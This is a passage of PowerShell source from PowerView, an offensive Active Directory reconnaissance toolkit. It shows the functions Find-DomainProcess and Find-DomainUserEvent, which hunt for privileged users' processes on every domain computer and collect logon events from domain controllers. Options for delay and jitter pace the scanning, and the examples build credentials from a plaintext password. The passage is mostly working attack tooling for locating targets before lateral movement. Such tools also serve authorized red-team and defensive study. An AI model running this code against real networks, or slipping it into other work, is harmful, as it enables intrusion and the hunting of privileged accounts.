  17296 Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
  17297 
  17298 .PARAMETER Server
  17299 
  17300 Specifies an Active Directory server (domain controller) to bind to.
  17301 
  17302 .PARAMETER SearchScope
  17303 
  17304 Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
  17305 
  17306 .PARAMETER ResultPageSize
  17307 
  17308 Specifies the PageSize to set for the LDAP searcher object.
  17309 
  17310 .PARAMETER ServerTimeLimit
  17311 
  17312 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  17313 
  17314 .PARAMETER Tombstone
  17315 
  17316 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  17317 
  17318 .PARAMETER Credential
  17319 
  17320 A [Management.Automation.PSCredential] object of alternate credentials
  17321 for connection to the target domain and target systems.
  17322 
  17323 .PARAMETER StopOnSuccess
  17324 
  17325 Switch. Stop hunting after finding after finding a target user.
  17326 
  17327 .PARAMETER Delay
  17328 
  17329 Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
  17330 
  17331 .PARAMETER Jitter
  17332 
  17333 Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
  17334 
  17335 .PARAMETER Threads
  17336 
  17337 The number of threads to use for user searching, defaults to 20.
  17338 
  17339 .EXAMPLE
  17340 
  17341 Find-DomainProcess
  17342 
  17343 Searches for processes run by 'Domain Admins' by enumerating every computer in the domain.
  17344 
  17345 .EXAMPLE
  17346 
  17347 Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
  17348 
  17349 Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
  17350 privileged users in dev.testlab.local.
  17351 
  17352 .EXAMPLE
  17353 
  17354 Find-DomainProcess -ProcessName putty.exe
  17355 
  17356 Searchings for instances of putty.exe running on the current domain.
  17357 
  17358 .EXAMPLE
  17359 
  17360 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  17361 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  17362 Find-DomainProcess -Domain testlab.local -Credential $Cred
  17363 
  17364 Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials.
  17365 
  17366 .OUTPUTS
  17367 
  17368 PowerView.UserProcess
  17369 #>
  17370 
  17371     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  17372     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
  17373     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
  17374     [OutputType('PowerView.UserProcess')]
  17375     [CmdletBinding(DefaultParameterSetName = 'None')]
  17376     Param(
  17377         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  17378         [Alias('DNSHostName')]
  17379         [String[]]
  17380         $ComputerName,
  17381 
  17382         [ValidateNotNullOrEmpty()]
  17383         [String]
  17384         $Domain,
  17385 
  17386         [ValidateNotNullOrEmpty()]
  17387         [String]
  17388         $ComputerDomain,
  17389 
  17390         [ValidateNotNullOrEmpty()]
  17391         [String]
  17392         $ComputerLDAPFilter,
  17393 
  17394         [ValidateNotNullOrEmpty()]
  17395         [String]
  17396         $ComputerSearchBase,
  17397 
  17398         [Alias('Unconstrained')]
  17399         [Switch]
  17400         $ComputerUnconstrained,
  17401 
  17402         [ValidateNotNullOrEmpty()]
  17403         [Alias('OperatingSystem')]
  17404         [String]
  17405         $ComputerOperatingSystem,
  17406 
  17407         [ValidateNotNullOrEmpty()]
  17408         [Alias('ServicePack')]
  17409         [String]
  17410         $ComputerServicePack,
  17411 
  17412         [ValidateNotNullOrEmpty()]
  17413         [Alias('SiteName')]
  17414         [String]
  17415         $ComputerSiteName,
  17416 
  17417         [Parameter(ParameterSetName = 'TargetProcess')]
  17418         [ValidateNotNullOrEmpty()]
  17419         [String[]]
  17420         $ProcessName,
  17421 
  17422         [Parameter(ParameterSetName = 'TargetUser')]
  17423         [Parameter(ParameterSetName = 'UserIdentity')]
  17424         [ValidateNotNullOrEmpty()]
  17425         [String[]]
  17426         $UserIdentity,
  17427 
  17428         [Parameter(ParameterSetName = 'TargetUser')]
  17429         [ValidateNotNullOrEmpty()]
  17430         [String]
  17431         $UserDomain,
  17432 
  17433         [Parameter(ParameterSetName = 'TargetUser')]
  17434         [ValidateNotNullOrEmpty()]
  17435         [String]
  17436         $UserLDAPFilter,
  17437 
  17438         [Parameter(ParameterSetName = 'TargetUser')]
  17439         [ValidateNotNullOrEmpty()]
  17440         [String]
  17441         $UserSearchBase,
  17442 
  17443         [ValidateNotNullOrEmpty()]
  17444         [Alias('GroupName', 'Group')]
  17445         [String[]]
  17446         $UserGroupIdentity = 'Domain Admins',
  17447 
  17448         [Parameter(ParameterSetName = 'TargetUser')]
  17449         [Alias('AdminCount')]
  17450         [Switch]
  17451         $UserAdminCount,
  17452 
  17453         [ValidateNotNullOrEmpty()]
  17454         [Alias('DomainController')]
  17455         [String]
  17456         $Server,
  17457 
  17458         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  17459         [String]
  17460         $SearchScope = 'Subtree',
  17461 
  17462         [ValidateRange(1, 10000)]
  17463         [Int]
  17464         $ResultPageSize = 200,
  17465 
  17466         [ValidateRange(1, 10000)]
  17467         [Int]
  17468         $ServerTimeLimit,
  17469 
  17470         [Switch]
  17471         $Tombstone,
  17472 
  17473         [Management.Automation.PSCredential]
  17474         [Management.Automation.CredentialAttribute()]
  17475         $Credential = [Management.Automation.PSCredential]::Empty,
  17476 
  17477         [Switch]
  17478         $StopOnSuccess,
  17479 
  17480         [ValidateRange(1, 10000)]
  17481         [Int]
  17482         $Delay = 0,
  17483 
  17484         [ValidateRange(0.0, 1.0)]
  17485         [Double]
  17486         $Jitter = .3,
  17487 
  17488         [Int]
  17489         [ValidateRange(1, 100)]
  17490         $Threads = 20
  17491     )
  17492 
  17493     BEGIN {
  17494         $ComputerSearcherArguments = @{
  17495             'Properties' = 'dnshostname'
  17496         }
  17497         if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
  17498         if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
  17499         if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
  17500         if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
  17501         if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
  17502         if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
  17503         if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
  17504         if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
  17505         if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
  17506         if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
  17507         if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
  17508         if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  17509         if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
  17510         if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
  17511 
  17512         $UserSearcherArguments = @{
  17513             'Properties' = 'samaccountname'
  17514         }
  17515         if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
  17516         if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
  17517         if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
  17518         if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
  17519         if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
  17520         if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
  17521         if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
  17522         if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
  17523         if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
  17524         if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  17525         if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
  17526         if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
  17527 
  17528 
  17529         # first, build the set of computers to enumerate
  17530         if ($PSBoundParameters['ComputerName']) {
  17531             $TargetComputers = $ComputerName
  17532         }
  17533         else {
  17534             Write-Verbose '[Find-DomainProcess] Querying computers in the domain'
  17535             $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
  17536         }
  17537         Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)"
  17538         if ($TargetComputers.Length -eq 0) {
  17539             throw '[Find-DomainProcess] No hosts found to enumerate'
  17540         }
  17541 
  17542         # now build the user target set
  17543         if ($PSBoundParameters['ProcessName']) {
  17544             $TargetProcessName = @()
  17545             ForEach ($T in $ProcessName) {
  17546                 $TargetProcessName += $T.Split(',')
  17547             }
  17548             if ($TargetProcessName -isnot [System.Array]) {
  17549                 $TargetProcessName = [String[]] @($TargetProcessName)
  17550             }
  17551         }
  17552         elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
  17553             $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
  17554         }
  17555         else {
  17556             $GroupSearcherArguments = @{
  17557                 'Identity' = $UserGroupIdentity
  17558                 'Recurse' = $True
  17559             }
  17560             if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
  17561             if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
  17562             if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
  17563             if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
  17564             if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
  17565             if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  17566             if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
  17567             if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
  17568             $GroupSearcherArguments
  17569             $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
  17570         }
  17571 
  17572         # the host enumeration block we're using to enumerate all servers
  17573         $HostEnumBlock = {
  17574             Param($ComputerName, $ProcessName, $TargetUsers, $Credential)
  17575 
  17576             ForEach ($TargetComputer in $ComputerName) {
  17577                 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
  17578                 if ($Up) {
  17579                     # try to enumerate all active processes on the remote host
  17580                     # and search for a specific process name
  17581                     if ($Credential) {
  17582                         $Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue
  17583                     }
  17584                     else {
  17585                         $Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue
  17586                     }
  17587                     ForEach ($Process in $Processes) {
  17588                         # if we're hunting for a process name or comma-separated names
  17589                         if ($ProcessName) {
  17590                             if ($ProcessName -Contains $Process.ProcessName) {
  17591                                 $Process
  17592                             }
  17593                         }
  17594                         # if the session user is in the target list, display some output
  17595                         elseif ($TargetUsers -Contains $Process.User) {
  17596                             $Process
  17597                         }
  17598                     }
  17599                 }
  17600             }
  17601         }
  17602     }
  17603 
  17604     PROCESS {
  17605         # only ignore threading if -Delay is passed
  17606         if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
  17607 
  17608             Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)"
  17609             Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter"
  17610             $Counter = 0
  17611             $RandNo = New-Object System.Random
  17612 
  17613             ForEach ($TargetComputer in $TargetComputers) {
  17614                 $Counter = $Counter + 1
  17615 
  17616                 # sleep for our semi-randomized interval
  17617                 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
  17618 
  17619                 Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
  17620                 $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential
  17621                 $Result
  17622 
  17623                 if ($Result -and $StopOnSuccess) {
  17624                     Write-Verbose "[Find-DomainProcess] Target user found, returning early"
  17625                     return
  17626                 }
  17627             }
  17628         }
  17629         else {
  17630             Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads"
  17631 
  17632             # if we're using threading, kick off the script block with New-ThreadedFunction
  17633             $ScriptParams = @{
  17634                 'ProcessName' = $TargetProcessName
  17635                 'TargetUsers' = $TargetUsers
  17636                 'Credential' = $Credential
  17637             }
  17638 
  17639             # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
  17640             New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
  17641         }
  17642     }
  17643 }
  17644 
  17645 
  17646 function Find-DomainUserEvent {
  17647 <#
  17648 .SYNOPSIS
  17649 
  17650 Finds logon events on the current (or remote domain) for the specified users.
  17651 
  17652 Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)  
  17653 License: BSD 3-Clause  
  17654 Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction  
  17655 
  17656 .DESCRIPTION
  17657 
  17658 Enumerates all domain controllers from the specified -Domain
  17659 (default of the local domain) using Get-DomainController, enumerates
  17660 the logon events for each using Get-DomainUserEvent, and filters
  17661 the results based on the targeting criteria.
  17662 
  17663 .PARAMETER ComputerName
  17664 
  17665 Specifies an explicit computer name to retrieve events from.
  17666 
  17667 .PARAMETER Domain
  17668 
  17669 Specifies a domain to query for domain controllers to enumerate.
  17670 Defaults to the current domain.
  17671 
  17672 .PARAMETER Filter
  17673 
  17674 A hashtable of PowerView.LogonEvent properties to filter for.
  17675 The 'op|operator|operation' clause can have '&', '|', 'and', or 'or',
  17676 and is 'or' by default, meaning at least one clause matches instead of all.
  17677 See the exaples for usage.
  17678 
  17679 .PARAMETER StartTime
  17680 
  17681 The [DateTime] object representing the start of when to collect events.
  17682 Default of [DateTime]::Now.AddDays(-1).
  17683 
  17684 .PARAMETER EndTime
  17685 
  17686 The [DateTime] object representing the end of when to collect events.
  17687 Default of [DateTime]::Now.
  17688 
  17689 .PARAMETER MaxEvents
  17690 
  17691 The maximum number of events (per host) to retrieve. Default of 5000.
  17692 
  17693 .PARAMETER UserIdentity
  17694 
  17695 Specifies one or more user identities to search for.
  17696 
  17697 .PARAMETER UserDomain
  17698 
  17699 Specifies the domain to query for users to search for, defaults to the current domain.
  17700 
  17701 .PARAMETER UserLDAPFilter
  17702 
  17703 Specifies an LDAP query string that is used to search for target users.
  17704 
  17705 .PARAMETER UserSearchBase
  17706 
  17707 Specifies the LDAP source to search through for target users.
  17708 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
  17709 
  17710 .PARAMETER UserGroupIdentity
  17711 
  17712 Specifies a group identity to query for target users, defaults to 'Domain Admins.
  17713 If any other user specifications are set, then UserGroupIdentity is ignored.
  17714 
  17715 .PARAMETER UserAdminCount
  17716 
  17717 Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
  17718 
  17719 .PARAMETER Server
  17720 
  17721 Specifies an Active Directory server (domain controller) to bind to.
  17722 
  17723 .PARAMETER SearchScope
  17724 
  17725 Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
  17726 
  17727 .PARAMETER ResultPageSize
  17728 
  17729 Specifies the PageSize to set for the LDAP searcher object.
  17730 
  17731 .PARAMETER ServerTimeLimit
  17732 
  17733 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  17734 
  17735 .PARAMETER Tombstone
  17736 
  17737 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  17738 
  17739 .PARAMETER Credential
  17740 
  17741 A [Management.Automation.PSCredential] object of alternate credentials
  17742 for connection to the target computer(s).
  17743 
  17744 .PARAMETER StopOnSuccess
  17745 
  17746 Switch. Stop hunting after finding after finding a target user.
  17747 
  17748 .PARAMETER Delay
  17749 
  17750 Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
  17751 
  17752 .PARAMETER Jitter
  17753 
  17754 Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
  17755 
  17756 .PARAMETER Threads
  17757 
  17758 The number of threads to use for user searching, defaults to 20.
  17759 
  17760 .EXAMPLE
  17761 
  17762 Find-DomainUserEvent
  17763 
  17764 Search for any user events matching domain admins on every DC in the current domain.
  17765 
  17766 .EXAMPLE
  17767 
  17768 $cred = Get-Credential dev\administrator
  17769 Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john'
  17770 
  17771 Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local'
  17772 domain controller using the alternate credential
  17773 
  17774 .EXAMPLE
  17775 
  17776 'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
  17777 
  17778 Find user events on the primary.testlab.local system where the event matches
  17779 the IPAddress '192.168.52.200' or '192.168.52.201'.
  17780 
  17781 .EXAMPLE
  17782 
  17783 $cred = Get-Credential testlab\administrator
  17784 Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'}
  17785 
  17786 Find user events mathing the specified GUID AND the specified TargetLogonId, searching
  17787 through every domain controller in the current domain, enumerating each DC in serial
  17788 instead of in a threaded manner, using the alternate credential.
  17789 
  17790 .OUTPUTS
  17791 
  17792 PowerView.LogonEvent
  17793 
  17794 PowerView.ExplicitCredentialLogon
  17795 
  17796 .LINK
  17797 
  17798 http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
  17799 #>
  17800 
  17801     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  17802     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
  17803     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
  17804     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
  17805     [OutputType('PowerView.LogonEvent')]
  17806     [OutputType('PowerView.ExplicitCredentialLogon')]
  17807     [CmdletBinding(DefaultParameterSetName = 'Domain')]
  17808     Param(
  17809         [Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  17810         [Alias('dnshostname', 'HostName', 'name')]
  17811         [ValidateNotNullOrEmpty()]
  17812         [String[]]
  17813         $ComputerName,
  17814 
  17815         [Parameter(ParameterSetName = 'Domain')]
  17816         [ValidateNotNullOrEmpty()]
  17817         [String]
  17818         $Domain,
  17819 
  17820         [ValidateNotNullOrEmpty()]
  17821         [Hashtable]
  17822         $Filter,
  17823 
  17824         [Parameter(ValueFromPipelineByPropertyName = $True)]
  17825         [ValidateNotNullOrEmpty()]
  17826         [DateTime]
  17827         $StartTime = [DateTime]::Now.AddDays(-1),
  17828 
  17829         [Parameter(ValueFromPipelineByPropertyName = $True)]
  17830         [ValidateNotNullOrEmpty()]
  17831         [DateTime]
  17832         $EndTime = [DateTime]::Now,
  17833 
  17834         [ValidateRange(1, 1000000)]
  17835         [Int]
  17836         $MaxEvents = 5000,
  17837 
  17838         [ValidateNotNullOrEmpty()]
  17839         [String[]]
  17840         $UserIdentity,
  17841 
  17842         [ValidateNotNullOrEmpty()]
  17843         [String]
  17844         $UserDomain,
  17845 
  17846         [ValidateNotNullOrEmpty()]
  17847         [String]
  17848         $UserLDAPFilter,
  17849 
  17850         [ValidateNotNullOrEmpty()]
  17851         [String]
  17852         $UserSearchBase,
  17853 
  17854         [ValidateNotNullOrEmpty()]
  17855         [Alias('GroupName', 'Group')]
  17856         [String[]]
  17857         $UserGroupIdentity = 'Domain Admins',
  17858 
  17859         [Alias('AdminCount')]
  17860         [Switch]
  17861         $UserAdminCount,
  17862 
  17863         [Switch]
  17864         $CheckAccess,
  17865 
  17866         [ValidateNotNullOrEmpty()]
  17867         [Alias('DomainController')]
  17868         [String]
  17869         $Server,
  17870 
  17871         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  17872         [String]
  17873         $SearchScope = 'Subtree',
  17874 
  17875         [ValidateRange(1, 10000)]
  17876         [Int]
  17877         $ResultPageSize = 200,
  17878 
  17879         [ValidateRange(1, 10000)]
  17880         [Int]
  17881         $ServerTimeLimit,
  17882 
  17883         [Switch]
  17884         $Tombstone,
  17885 
  17886         [Management.Automation.PSCredential]
  17887         [Management.Automation.CredentialAttribute()]
  17888         $Credential = [Management.Automation.PSCredential]::Empty,
  17889 
  17890         [Switch]
  17891         $StopOnSuccess,
  17892 
  17893         [ValidateRange(1, 10000)]
  17894         [Int]
  17895         $Delay = 0,
  17896 
  17897         [ValidateRange(0.0, 1.0)]
  17898         [Double]
  17899         $Jitter = .3,
  17900 
  17901         [Int]
  17902         [ValidateRange(1, 100)]
  17903         $Threads = 20
  17904     )
  17905 
  17906     BEGIN {
  17907         $UserSearcherArguments = @{
  17908             'Properties' = 'samaccountname'
  17909         }
  17910         if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
  17911         if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
  17912         if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
  17913         if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
  17914         if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
  17915         if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
  17916         if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
  17917         if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
  17918         if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  17919         if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
  17920         if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
  17921 
  17922         if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) {
  17923             $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
  17924         }
  17925         elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) {
  17926             # otherwise we're querying a specific group
  17927             $GroupSearcherArguments = @{
  17928                 'Identity' = $UserGroupIdentity
  17929                 'Recurse' = $True
  17930             }
  17931             Write-Verbose "UserGroupIdentity: $UserGroupIdentity"
  17932             if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
  17933             if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
  17934             if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
  17935             if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
  17936             if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
  17937             if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  17938             if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
  17939             if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
  17940             $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
  17941         }
  17942 
  17943         # build the set of computers to enumerate
  17944         if ($PSBoundParameters['ComputerName']) {
  17945             $TargetComputers = $ComputerName
  17946         }
  17947         else {
  17948             # if not -ComputerName is passed, query the current (or target) domain for domain controllers
  17949             $DCSearcherArguments = @{
  17950                 'LDAP' = $True
  17951             }
  17952             if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
  17953             if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
  17954             if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
  17955             Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain"
  17956             $TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
  17957         }
  17958         if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) {
  17959             $TargetComputers = @(,$TargetComputers)
  17960         }
  17961         Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)"
  17962         Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers"
  17963         if ($TargetComputers.Length -eq 0) {
  17964             throw '[Find-DomainUserEvent] No hosts found to enumerate'
  17965         }
  17966 
  17967         # the host enumeration block we're using to enumerate all servers
  17968         $HostEnumBlock = {
  17969             Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential)
  17970 
  17971             ForEach ($TargetComputer in $ComputerName) {
  17972                 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
  17973                 if ($Up) {
  17974                     $DomainUserEventArgs = @{
  17975                         'ComputerName' = $TargetComputer
  17976                     }
  17977                     if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime }
  17978                     if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime }
  17979                     if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents }
  17980                     if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential }
  17981                     if ($Filter -or $TargetUsers) {
  17982                         if ($TargetUsers) {
  17983                             Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName}
  17984                         }
  17985                         else {
  17986                             $Operator = 'or'
  17987                             $Filter.Keys | ForEach-Object {
  17988                                 if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) {
  17989                                     if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) {
  17990                                         $Operator = 'and'
  17991                                     }
  17992                                 }
  17993                             }
  17994                             $Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')}
  17995                             Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object {
  17996                                 if ($Operator -eq 'or') {
  17997                                     ForEach ($Key in $Keys) {
  17998                                         if ($_."$Key" -match $Filter[$Key]) {
  17999                                             $_
  18000                                         }
  18001                                     }
  18002                                 }
  18003                                 else {
  18004                                     # and all clauses
  18005                                     ForEach ($Key in $Keys) {
  18006                                         if ($_."$Key" -notmatch $Filter[$Key]) {
  18007                                             break
  18008                                         }
  18009                                         $_
  18010                                     }
  18011                                 }
  18012                             }
  18013                         }
  18014                     }
  18015                     else {
  18016                         Get-DomainUserEvent @DomainUserEventArgs
  18017                     }
  18018                 }
  18019             }
  18020         }
  18021     }
  18022 
  18023     PROCESS {
  18024         # only ignore threading if -Delay is passed
  18025         if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
  18026 
  18027             Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)"
  18028             Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter"
  18029             $Counter = 0
  18030             $RandNo = New-Object System.Random
  18031 
  18032             ForEach ($TargetComputer in $TargetComputers) {
  18033                 $Counter = $Counter + 1
  18034 
  18035                 # sleep for our semi-randomized interval
  18036                 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
  18037 
  18038                 Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
  18039                 $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential
  18040                 $Result
  18041 
  18042                 if ($Result -and $StopOnSuccess) {
  18043                     Write-Verbose "[Find-DomainUserEvent] Target user found, returning early"
